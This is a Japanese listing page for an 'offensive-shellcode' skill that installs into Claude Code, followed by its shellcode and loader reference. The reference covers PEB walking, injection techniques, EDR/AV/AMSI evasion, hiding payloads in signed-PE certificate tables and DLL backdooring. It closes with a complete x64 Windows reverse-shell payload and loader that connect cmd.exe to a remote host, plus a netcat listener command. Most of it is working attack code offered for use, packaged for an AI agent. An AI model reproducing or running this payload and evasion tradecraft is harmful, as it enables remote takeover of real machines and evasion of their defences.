offensive-shellcode について
セキュリティ研究者向けのシェルコード開発リファレンスです。クロスプラットフォームのコード、ローダー、テスト、解析を扱い、実行手順や技術選択肢、関連ツールを整理しています。
主な機能
- 01シェルコード開発手順の概要
- 02位置独立コードの技術
- 03Windows API の解決方法
- 04ローダーの割り当て・書き込み・実行
- 05PE からシェルコードへの変換ツール
- 06クロスプラットフォームの留意点
活用シーン
- 01複数プラットフォームの実行方式の調査
- 02ローダー実装手順の比較
- 03PE からの変換方法の確認
- 04テストとデバッグ手順の整理
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-shellcodeインストール後、Claude Code で/offensive-shellcodeを入力して読み込まれたか確認します。
詳細
シェルコード開発ワークフロー
- コンセプトと対象プラットフォーム(x86/x64、Windows/Linux/macOS)を定義します
- 位置独立の手法を使ってアセンブリを記述します
- バイナリを抽出し、制御された環境でテストします
- ヌルバイトの回避と最適化を行います
- 静的検出を回避するため、エンコード/暗号化します
- ローダーとパッケージ化し、配布方法を選びます
基本概念
実行パターン(割り当て・書き込み・実行)
PAGE_EXECUTE_READWRITE の直接使用は避け、次の方法を優先します。
PAGE_READWRITEで割り当てます- 割り当てた領域にシェルコードを書き込みます
VirtualProtectを呼び出し、PAGE_EXECUTE_READに切り替えます
char *dest = VirtualAlloc(NULL, 0x1234, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(dest, shellcode, 0x1234);
VirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &old);
((void(*)())dest)();
位置独立コード(PIC)の手法
| 方法 | プラットフォーム | 備考 |
|---|---|---|
| Call/Pop | Windows | 次のアドレスをプッシュし、レジスターにポップします |
| FPU state | Windows | fstenv で命令ポインターを保存します |
| SEH | Windows | 例外ハンドラーに EIP を保存します |
| GOT | Linux | グローバルオフセットテーブル |
| VDSO | Linux | カーネルが提供する共有オブジェクト |
Windows API の解決(PEB の走査)
インポートを使わずに kernel32.dll を特定します。
gs:[0x60](x64)またはfs:[0x30](x86)からPEBを取得しますPEB->Ldr.InMemoryOrderModuleListを走査します。順序は exe → ntdll → kernel32 です- モジュール名のハッシュを比較して
kernel32を特定します - エクスポートアドレステーブル(EAT)を解析します
- 名前のハッシュから
GetProcAddressを見つけ、次にLoadLibraryAを解決します LoadLibraryAを使ってWS2_32.dllを読み込み、Winsock 関数を解決します
PEB の走査をデバッグするための WinDbg ヘルパー:
dt nt!_TEB -y ProcessEnvironmentBlock @$teb
dt nt!_PEB -y Ldr <peb_addr>
dt -r _PEB_LDR_DATA <ldr_addr>
dt _LDR_DATA_TABLE_ENTRY (<init_flink_addr> - 0x10)
lm m kernel32 # verify base address
r @r8 # check register
シェルコードローダー
ローダーの役割
- 環境の検証/キー設定(サンドボックスの検出)
- シェルコードの復号
- 安全なメモリ割り当てとインジェクション
- インジェクション後に処理を終了します
推奨言語: Zig(小さく、ランタイム不要)、Rust(安全)、Nim、Go(ランタイムのシグネチャに注意)
割り当てフェーズ
RWX の割り当ては避け、次の 2 段階方式を使います。
VirtualAllocEx/NtAllocateVirtualMemory—RWで割り当てますZwCreateSection+NtMapViewOfSection— 代替方式です- 書き込み後、
VirtualProtectExでRXに切り替えます
その他の選択肢: コードケーブ、スタック/ヒープ(DEP が無効の場合)
書き込みフェーズ
WriteProcessMemory/NtWriteVirtualMemory- マップされたセクションへの
memcpy
回避のヒント:
- シェルコードの先頭にダミーのオペコードを追加します
- チャンクに分割し、ランダムな順序で書き込みます
- 書き込みの間に遅延を入れます
実行フェーズ
最も厳しく監視される段階です。EDR はスレッドの開始アドレスがイメージに裏付けられたメモリー上にあるかどうかを確認します。
| 手法 | 備考 |
|---|---|
CreateRemoteThread / ZwCreateThreadEx | 目立ちやすく、厳重に監視されます |
NtSetContextThread | 一時停止中のスレッドを乗っ取ります |
NtQueueApcThreadEx | APC インジェクション |
| API トランポリン | 関数のプロローグを上書きします |
| ThreadlessInject | 新しいスレッドを作成しません |
間接実行のリソース:
PE からシェルコードへの変換
| ツール | 目的 |
|---|---|
| Donut | EXE/DLL → シェルコード |
| sRDI | DLL → 位置独立シェルコード |
| Pe2shc | PE → シェルコード |
| Amber | リフレクティブ PE パッカー |
オープンソースのローダー:
- ScareCrow
- NimPackt-v1
- NullGate — 間接システムコール + ジャンク書き込みの順序制御
- DripLoader — チャンク単位の
RW書き込み + 直接システムコール + JMP トランポリン - ProtectMyTooling — 複数の保護機能を連結します
- 直接システムコール用ヘルパー:SysWhispers3、FreshyCalls(現在はベースライン要件)
シェルコードの保存と隠蔽
| 場所 | リスク | 備考 |
|---|---|---|
.text にハードコード | 中 | 再コンパイルが必要です。RW/RO として保存されます |
PE リソース(RCDATA) | 高 | AV によるスキャンが最も多い場所です |
| PE の追加セクション | 中 | 最後から2番目のセクションを使用します |
| 証明書テーブル | 低 | 署名済み PE の署名を維持します |
| インターネット上でホスト | 変動 | SharpShooter |
証明書テーブルの手法(推奨):
- 証明書テーブルをシェルコードのバイト列で埋め、PE ヘッダーを更新します
- ローダー DLL のみをバックドア化します(例:
teams.exe内のffmpeg.dll) - メイン実行ファイルの署名は有効なままです。無効になるのは DLL の署名のみです
保護: LZMA で圧縮し、保存前に XOR32、RC4、または AES で暗号化します。
Windows 11 24H2 に関する注意: AMSI のヒープスキャンが有効です。ライブヒープスキャンを回避するには、
PAGE_NOACCESSで割り当て、インプレースで復号してから、PAGE_EXECUTE_READに切り替えます。
回避
段階的な回避の強化
- 基本的なシェルコード実行(ベースライン)
- XOR/AES 暗号化と難読化を追加
- ユーザーランドフックを回避するための直接システムコール
- 最終手段としてのリモートプロセスインジェクション
ローカルインジェクションとリモートインジェクション
リモートインジェクションは、より検出されやすくなります:
CFG/CIGの適用- ETW Ti フィード
- EDR によるコールスタックの遡及追跡(
NtOpenProcessの呼び出し元) - より厳しく調査される手順:OpenProcess → Allocate → Write → Execute
Defender 回避ツール(DefenderBypass):
myEncoder3.py— バイナリのシェルコードを XOR 暗号化InjectBasic.cpp— 基本的な C++ インジェクターInjectCryptXOR.cpp— XOR 復号とインジェクションInjectSyscall-LocalProcess.cpp— 直接システムコールを使用し、疑わしい IAT エントリーなしInjectSyscall-RemoteProcess.cpp— 直接システムコールによるリモートプロセスインジェクション
クロスプラットフォームに関する考慮事項
Windows on ARM64(WoA)
- システムコールでは、
ntdll!KiServiceTableArm64の ARM64 テーブルを使ってSVC 0を使用します - ポインター認証(PAC)は LR に署名します。スタックピボットを避けるか、
PACIASPで再署名します
Linux 6.9 以降(eBPF Arena)
BPF_MAP_TYPE_ARENAマップは実行可能メモリを保持できます- シェルコードのチャンクをアリーナマップに隠し、
bpf_prog_run_pin_on_cpuで実行します
macOS(署名済みシステムボリューム)
- macOS 12 以降ではシステムパーティションが封印されるため、署名されていないペイロードはそこに配置できません
- ユーザー空間:起動エージェント、
/Library/Apple/System/Library/Dyld/内の dylib ハイジャック - カーネルの永続化:封印済みスナップショットを作成し、RW でマウントしてインジェクションし、
kmutilで再署名して bless します
DripLoader の手法
github.com/xuanxuan0/DripLoader:
NO_ACCESSで 64KB のチャンクを予約します- そのプール内に 4KB の
RWチャンクを割り当てます - ランダムな順序でチャンク単位にシェルコードを書き込みます
- 保護属性を
RXに再設定します ntdll!RtlpWow64CtxFromAmd64のプロローグを JMP トランポリンで上書きします- すべての呼び出しで直接システムコールを使用します:
NtAllocateVirtualMemory、NtWriteVirtualMemory、NtCreateThreadEx
x64 Windows 用リバースシェルの完全なシェルコード
PEB の走査 → GetProcAddress → LoadLibraryA → Winsock 接続 → CreateProcessA(cmd.exe) を実装する、完全な Python/Keystone の例:
import ctypes, struct
from keystone import *
CODE = (
# Locate kernel32 Base Address
" start: "
" add rsp, 0xfffffffffffffdf8 ;" # Avoid Null Byte and make some space
" find_kernel32: "
" int3 ;" # WinDbg breakpoint (disable for release)
" xor rcx, rcx ;"
" mov rax, gs:[rcx + 0x60] ;" # RAX = PEB
" mov rax, [rax + 0x18] ;" # RAX = PEB->Ldr
" mov rsi, [rax + 0x20] ;" # RSI = InMemoryOrderModuleList
" lodsq ;"
" xchg rax, rsi ;"
" lodsq ;"
" mov rbx, [rax + 0x20] ;" # RBX = kernel32 base
" mov r8, rbx ;"
# Parse Export Address Table
" mov ebx, [rbx+0x3C] ;" # PE signature offset
" add rbx, r8 ;" # RBX = PE header
" xor r12,r12 ;"
" add r12, 0x88FFFFF ;"
" shr r12, 0x14 ;"
" mov edx, [rbx+r12] ;" # EAT RVA
" add rdx, r8 ;" # RDX = EAT VA
" mov r10d, [rdx+0x14] ;" # NumberOfFunctions
" xor r11, r11 ;"
" mov r11d, [rdx+0x20] ;" # AddressOfNames RVA
" add r11, r8 ;" # AddressOfNames VA
# Find GetProcAddress
" mov rcx, r10 ;"
" k32findfunction: "
" jecxz functionfound ;"
" xor ebx,ebx ;"
" mov ebx, [r11+4+rcx*4] ;" # Function name RVA
" add rbx, r8 ;" # Function name VA
" dec rcx ;"
" mov rax, 0x41636f7250746547 ;" # 'GetProcA'
" cmp [rbx], rax ;"
" jnz k32findfunction ;"
# Get function address
" functionfound: "
" xor r11, r11 ;"
" mov r11d, [rdx+0x24] ;" # AddressOfNameOrdinals RVA
" add r11, r8 ;"
" inc rcx ;"
" mov r13w, [r11+rcx*2] ;" # Ordinal
" xor r11, r11 ;"
" mov r11d, [rdx+0x1c] ;" # AddressOfFunctions RVA
" add r11, r8 ;"
" mov eax, [r11+4+r13*4] ;"
" add rax, r8 ;" # GetProcAddress VA
" mov r14, rax ;" # R14 = GetProcAddress
# Resolve LoadLibraryA
" mov rcx, 0x41797261 ;"
" push rcx ;"
" mov rcx, 0x7262694c64616f4c ;"
" push rcx ;" # 'LoadLibraryA'
" mov rdx, rsp ;"
" mov rcx, r8 ;" # kernel32 base
" sub rsp, 0x30 ;"
" call r14 ;" # GetProcAddress(kernel32, LoadLibraryA)
" add rsp, 0x40 ;"
" mov rsi, rax ;" # RSI = LoadLibraryA
# LoadLibrary("WS2_32.dll")
" xor rax, rax ;"
" mov rax, 0x6C6C ;"
" push rax ;"
" mov rax, 0x642E32335F325357 ;"
" push rax ;" # 'WS2_32.dll'
" mov rcx, rsp ;"
" sub rsp, 0x30 ;"
" call rsi ;" # LoadLibraryA("WS2_32.dll")
" mov r15, rax ;" # R15 = WS2_32 base
" add rsp, 0x40 ;"
# WSAStartup
" mov rax, 0x7075 ;"
" push rax ;"
" mov rax, 0x7472617453415357 ;"
" push rax ;" # 'WSAStartup'
" mov rdx, rsp ;"
" mov rcx, r15 ;"
" sub rsp, 0x30 ;"
" call r14 ;" # GetProcAddress(ws2_32, WSAStartup)
" add rsp, 0x40 ;"
" mov r12, rax ;"
" xor rcx,rcx ;"
" mov cx,408 ;"
" sub rsp,rcx ;"
" lea rdx,[rsp] ;" # lpWSAData
" mov cx,514 ;" # wVersionRequired = 2.2
" sub rsp,88 ;"
" call r12 ;" # WSAStartup
# WSASocketA — create socket
" mov rax, 0x4174 ;"
" push rax ;"
" mov rax, 0x656b636f53415357 ;"
" push rax ;" # 'WSASocketA'
" mov rdx, rsp ;"
" mov rcx, r15 ;"
" sub rsp, 0x30 ;"
" call r14 ;"
" add rsp, 0x40 ;"
" mov r12, rax ;"
" sub rsp,0x208 ;"
" xor rdx, rdx ;"
" sub rsp, 88 ;"
" mov [rsp+32], rdx ;"
" mov [rsp+40], rdx ;"
" inc rdx ;"
" mov rcx, rdx ;"
" inc rcx ;"
" xor r8,r8 ;"
" add r8,6 ;"
" xor r9,r9 ;"
" mov r9w,98*4 ;"
" mov ebx,[r15+r9] ;"
" xor r9,r9 ;"
" call r12 ;" # WSASocketA
" mov r13, rax ;" # R13 = socket handle
" add rsp, 0x208 ;"
# WSAConnect — connect to C2
" mov rax, 0x7463 ;"
" push rax ;"
" mov rax, 0x656e6e6f43415357 ;"
" push rax ;" # 'WSAConnect'
" mov rdx, rsp ;"
" mov rcx, r15 ;"
" sub rsp, 0x30 ;"
" call r14 ;"
" add rsp, 0x40 ;"
" mov r12, rax ;"
" mov rcx, r13 ;" # socket handle
" sub rsp,0x208 ;"
" xor rax,rax ;"
" inc rax ;"
" inc rax ;"
" mov [rsp], rax ;" # AF_INET = 2
" mov rax, 0xbb01 ;" # Port 443 (big-endian)
" mov [rsp+2], rax ;"
" mov rax, 0x31061fac ;" # IP 172.31.6.49 — UPDATE THIS
" mov [rsp+4], rax ;"
" lea rdx,[rsp] ;"
" mov r8, 0x16 ;" # sizeof(sockaddr_in)
" xor r9,r9 ;"
" push r9 ;"
" push r9 ;"
" push r9 ;"
" sub rsp, 0x88 ;"
" call r12 ;" # WSAConnect
# Re-locate kernel32 and resolve CreateProcessA
" xor rcx, rcx ;"
" mov rax, gs:[rcx + 0x60] ;"
" mov rax, [rax + 0x18] ;"
" mov rsi, [rax + 0x20] ;"
" lodsq ;"
" xchg rax, rsi ;"
" lodsq ;"
" mov rbx, [rax + 0x20] ;"
" mov r8, rbx ;"
" mov rax, 0x41737365636f ;"
" push rax ;"
" mov rax, 0x7250657461657243 ;"
" push rax ;" # 'CreateProcessA'
" mov rdx, rsp ;"
" mov rcx, r8 ;"
" sub rsp, 0x30 ;"
" call r14 ;"
" add rsp, 0x40 ;"
" mov r12, rax ;" # R12 = CreateProcessA
# Push cmd.exe + build STARTUPINFOA
" mov rax, 0x6578652e646d63 ;"
" push rax ;" # 'cmd.exe'
" mov rcx, rsp ;" # lpApplicationName
" push r13 ;" # hStdError = socket
" push r13 ;" # hStdOutput = socket
" push r13 ;" # hStdInput = socket
" xor rax,rax ;"
" push ax ;"
" push rax ;"
" push rax ;"
" mov rax, 0x100 ;" # STARTF_USESTDHANDLES
" push ax ;"
" xor rax,rax ;"
" push ax ;"
" push ax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" mov rax, 0x68 ;"
" push rax ;" # cb = 0x68
" mov rdi,rsp ;" # RDI = &STARTUPINFOA
# Call CreateProcessA
" mov rax, rsp ;"
" sub rax, 0x500 ;"
" push rax ;" # lpProcessInformation
" push rdi ;" # lpStartupInfo
" xor rax, rax ;"
" push rax ;" # lpCurrentDirectory = NULL
" push rax ;" # lpEnvironment = NULL
" push rax ;"
" inc rax ;"
" push rax ;" # bInheritHandles = TRUE
" xor rax, rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;" # dwCreationFlags = 0
" mov r8, rax ;" # lpThreadAttributes = NULL
" mov r9, rax ;" # lpProcessAttributes = NULL
" mov rdx, rcx ;" # lpCommandLine = 'cmd.exe'
" mov rcx, rax ;" # lpApplicationName = NULL
" call r12 ;" # CreateProcessA
)
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
ctypes.windll.kernel32.CreateThread.argtypes = (
ctypes.c_int, ctypes.c_int, ctypes.c_void_p,
ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int),
)
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0), ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000), ctypes.c_int(0x40)
)
buf = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_int(len(shellcode)))
print("Shellcode at %s" % hex(ptr))
input("Press ENTER to execute...")
ht = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(ptr),
ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)),
)
ctypes.windll.kernel32.WaitForSingleObject(ht, -1)
注意: 使用前に IP(
0x31061fac)とポート(0xbb01)を更新してください。リスナー:nc -nvlp 443Windows 11 23H2: Smart App Control により、ローカルサブネットへのアウトバウンド TCP 443/4444 がブロックされる場合があります。標準以外のポート、または名前付きパイプのペイロードを使用してください。